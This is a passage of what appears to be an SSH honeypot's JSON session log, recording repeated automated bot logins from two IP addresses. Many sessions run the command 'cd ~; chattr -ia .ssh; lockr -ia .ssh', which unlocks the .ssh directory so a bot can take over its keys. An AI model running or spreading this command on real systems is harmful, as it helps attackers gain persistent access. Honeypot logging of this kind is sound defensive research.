  "transcript_bytes": 0
 },
 {
  "id": "41ec9c90-cb07-4820-bc0c-b2b99517f0b6",
  "name": "chilly-ancient-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 45700,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 857,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:12:36.692031+00:00",
  "ended_at": "2026-08-26T12:12:38.092738+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2271
 },
 {
  "id": "e0c20725-4736-4499-b6ce-c3d0651e2e49",
  "name": "seaward-rapid-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 41226,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 589,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:12:32.222078+00:00",
  "ended_at": "2026-08-26T12:12:33.043134+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "9716eb80-e366-43d7-af52-5f328caadbbd",
  "name": "fearless-wooded-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 45716,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:12:11.794104+00:00",
  "ended_at": "2026-08-26T12:12:13.690771+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dc9ca5d6-f666-4147-b057-7fb625593e14",
  "name": "watchful-primal-heron",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 45708,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:12:07.913848+00:00",
  "ended_at": "2026-08-26T12:12:10.088611+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d88fad72-1dfe-4cd0-89ea-e697cf6dd402",
  "name": "wiry-tangled-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 45496,
  "username": "prashant",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 841,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:09:47.414572+00:00",
  "ended_at": "2026-08-26T12:09:49.015012+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2215
 },
 {
  "id": "a4073e2f-6187-48ed-8a01-a775e08bf6f2",
  "name": "prairie-plush-jay",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 45514,
  "username": "prashant",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:09:23.762746+00:00",
  "ended_at": "2026-08-26T12:09:25.800569+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8ae8a71c-dce3-4def-8168-7a9afcd37ced",
  "name": "civil-austere-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 45504,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:09:20.207942+00:00",
  "ended_at": "2026-08-26T12:09:22.037690+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "98961eec-94b9-4f7a-b4e8-1e69d08563d7",
  "name": "frank-lunar-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 45302,
  "username": "lg",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 877,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:07:03.286379+00:00",
  "ended_at": "2026-08-26T12:07:04.427112+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2186
 },
 {
  "id": "a5f5cf99-3839-43b8-9835-2558bf20352b",
  "name": "jagged-bold-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 45318,
  "username": "lg",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:06:37.652299+00:00",
  "ended_at": "2026-08-26T12:06:39.792217+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "258cb1d0-0683-481b-bffa-ae6b3b5bce6b",
  "name": "brisk-fickle-marmot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 45310,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:06:34.391442+00:00",
  "ended_at": "2026-08-26T12:06:35.901730+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b2fde54a-8381-4551-aaaf-6641981b61a8",
  "name": "dewy-gallant-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 45100,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 843,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:04:21.388571+00:00",
  "ended_at": "2026-08-26T12:04:22.525117+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2189
 },
 {
  "id": "638ea7bc-387f-4482-9deb-4b28a8d70dc9",
  "name": "amiable-woven-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 45116,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:03:59.292647+00:00",
  "ended_at": "2026-08-26T12:04:00.300065+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "580d214a-31f7-40e1-bdb6-820fe19498eb",
  "name": "balmy-woven-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 45108,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:03:55.591008+00:00",
  "ended_at": "2026-08-26T12:03:57.500953+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0fa256a4-dff9-468b-b6e1-1eb2a4c41865",
  "name": "lonesome-indigo-bluebird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 40796,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:03:27.647177+00:00",
  "ended_at": "2026-08-26T12:03:29.496024+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e427bc72-ad3d-4923-a103-13e36ac36c03",
  "name": "distant-gentle-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 40790,
  "username": "kn",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:03:24.433584+00:00",
  "ended_at": "2026-08-26T12:03:25.643985+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "cb59183a-5bca-49a1-8223-53960a98c1b9",
  "name": "crystal-watchful-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 44894,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 875,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:01:41.488922+00:00",
  "ended_at": "2026-08-26T12:01:43.152346+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2188
 },
 {
  "id": "b12ee411-3333-40ca-a4de-4a7ddd3d66b8",
  "name": "smoky-peaty-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 44912,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:01:16.952990+00:00",
  "ended_at": "2026-08-26T12:01:18.934028+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9ec14f50-b835-4e05-968d-101995ca5df1",
  "name": "mellow-fearless-civet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 44904,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:01:13.992418+00:00",
  "ended_at": "2026-08-26T12:01:15.246339+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3ae2fa13-ef6b-42df-b6d1-bbf77f59b35c",
  "name": "frosty-regal-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 44698,
  "username": "adminftp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 865,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:59:05.004575+00:00",
  "ended_at": "2026-08-26T11:59:06.357144+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2169
 },
 {
  "id": "2ff6fe92-e615-4b2a-bcbc-4034358933b2",
  "name": "gloomy-clever-kakapo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 44714,
  "username": "adminftp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:58:40.993000+00:00",
  "ended_at": "2026-08-26T11:58:42.489932+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2484e350-6ac1-4593-881a-ed285a6838ca",
  "name": "gloomy-stormy-stoat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 44706,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:58:37.893524+00:00",
  "ended_at": "2026-08-26T11:58:39.257903+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a6c25b61-030a-4071-9e90-ee0ef194f6e3",
  "name": "bashful-lawful-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 44498,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 860,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:56:22.503415+00:00",
  "ended_at": "2026-08-26T11:56:24.329787+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2205
 },
 {
  "id": "a8d6286d-a57f-48a1-9b89-b6f6722d4c3d",
  "name": "sincere-blazing-narwhal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 44516,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:55:59.287138+00:00",
  "ended_at": "2026-08-26T11:56:00.225137+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eae4068a-eb01-457f-8a29-3e0dc43abdb6",
  "name": "proud-lunar-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 44506,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:55:56.254938+00:00",
  "ended_at": "2026-08-26T11:55:57.589318+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "72340123-0afd-4c21-94bc-705c262a2b6a",
  "name": "western-blunt-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 44304,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 873,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:53:43.692781+00:00",
  "ended_at": "2026-08-26T11:53:45.296546+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2194
 },
 {
  "id": "6280af06-3d6f-4eaa-b46b-312c000c6645",
  "name": "glacial-golden-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 44320,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:53:18.997527+00:00",
  "ended_at": "2026-08-26T11:53:20.253583+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2b12596e-4c22-45c6-8b76-254648064603",
  "name": "clever-sunlit-kudu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 44312,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:53:15.291830+00:00",
  "ended_at": "2026-08-26T11:53:17.244009+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "752cd0da-2b55-47ec-847f-155887edd22d",
  "name": "fleeting-loyal-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 44100,
  "username": "vmuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 884,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:51:06.242750+00:00",
  "ended_at": "2026-08-26T11:51:07.694793+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2136
 },
 {
  "id": "04f22665-22bd-444f-b6f3-5fb2ba76071a",
  "name": "icy-diligent-mole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 44116,
  "username": "vmuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:50:41.588699+00:00",
  "ended_at": "2026-08-26T11:50:43.603396+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ce4f8bb9-253d-4684-9807-e01a7ca25ea8",
  "name": "civil-coastal-barbet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 44108,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:50:38.499569+00:00",
  "ended_at": "2026-08-26T11:50:39.817741+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5ccf32f3-cbe9-4adf-8fe7-23943a53de80",
  "name": "woven-amiable-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 43898,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 864,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:48:24.883383+00:00",
  "ended_at": "2026-08-26T11:48:26.523120+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2129
 },
 {
  "id": "8ff1ffc8-d96a-489f-b261-6fce9ed935cd",
  "name": "woven-crisp-ermine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 43916,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:48:00.553440+00:00",
  "ended_at": "2026-08-26T11:48:02.214616+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7d7874b0-feb9-4a79-8719-39a23ef61b4f",
  "name": "hazel-wooded-seal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 43908,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:47:56.755641+00:00",
  "ended_at": "2026-08-26T11:47:58.790593+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f7d9723b-5f85-4c76-b6e4-0d452896095e",
  "name": "wooded-amiable-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 36580,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 587,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:46:38.727558+00:00",
  "ended_at": "2026-08-26T11:46:40.939886+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "efda98f5-9861-49eb-9297-205440d44688",
  "name": "spirited-ashen-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 43698,
  "username": "www",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 873,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:45:49.197397+00:00",
  "ended_at": "2026-08-26T11:45:50.712730+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2113
 },
 {
  "id": "22a06204-1dd6-424f-a5cd-4bbab52a4dd9",
  "name": "patient-diligent-martin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 43714,
  "username": "www",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:45:24.886485+00:00",
  "ended_at": "2026-08-26T11:45:26.635154+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6f924901-75a7-4200-b548-04e771a1602c",
  "name": "inland-arctic-lark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 43706,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:45:21.495200+00:00",
  "ended_at": "2026-08-26T11:45:23.189160+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2f739557-5a93-47b5-af38-f229af1575a9",
  "name": "northern-scarlet-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 43498,
  "username": "tmpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 848,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:43:02.590725+00:00",
  "ended_at": "2026-08-26T11:43:04.236263+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2102
 },
 {
  "id": "eee6490f-e074-4bfc-9570-66c3e57a2816",
  "name": "downy-frosty-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 43512,
  "username": "tmpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:42:38.384061+00:00",
  "ended_at": "2026-08-26T11:42:40.350917+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7a0e615a-35cb-477f-bc81-ae1ceac5959a",
  "name": "reedy-alpine-fossa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 43506,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:42:35.083935+00:00",
  "ended_at": "2026-08-26T11:42:36.693089+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5af68a09-f49c-452e-961c-a92307f8d3a6",
  "name": "scarlet-tranquil-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 43750,
  "username": "bill",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 594,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:42:02.270195+00:00",
  "ended_at": "2026-08-26T11:42:02.954243+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2251
 },
 {
  "id": "ef312667-4883-4552-bf1c-8bf2bfaebc4d",
  "name": "thorny-clever-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 43772,
  "username": "bill",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:41:47.486555+00:00",
  "ended_at": "2026-08-26T11:41:48.523056+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b174d873-608c-4ca8-9b1e-f41246049956",
  "name": "northern-arctic-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 43756,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:41:44.412168+00:00",
  "ended_at": "2026-08-26T11:41:45.705310+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c88a40df-a844-48ad-9d3a-19291ed8dc4e",
  "name": "salty-weathered-alpaca",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 43304,
  "username": "ec2-user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 847,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:40:23.703335+00:00",
  "ended_at": "2026-08-26T11:40:24.998012+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2092
 },
 {
  "id": "18cdf5ba-215d-4b86-806f-9abec1cc186e",
  "name": "frugal-dappled-caribou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 43320,
  "username": "ec2-user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:39:59.586241+00:00",
  "ended_at": "2026-08-26T11:40:00.386543+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bf9e6566-e033-4224-8cf1-56383b960f69",
  "name": "feathered-nimble-vulture",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 43312,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:39:56.788694+00:00",
  "ended_at": "2026-08-26T11:39:57.889858+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "949d19fb-cc2f-454b-ae88-9ccf8f1e9195",
  "name": "cheerful-clever-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 43102,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 862,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:37:44.723066+00:00",
  "ended_at": "2026-08-26T11:37:45.896430+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2128
 },
 {
  "id": "297dd5dd-940c-4ec1-8e0e-cdc4a634979f",
  "name": "gleaming-vernal-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 52474,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 943,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:37:43.080918+00:00",
  "ended_at": "2026-08-26T11:37:43.851050+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "ff668f3e-b80d-42c2-a70a-444800358796",
  "name": "twilight-cobalt-boar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 47100,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:37:27.544494+00:00",
  "ended_at": "2026-08-26T11:37:28.911062+00:00",
  "ended_reason": "no channel opened",
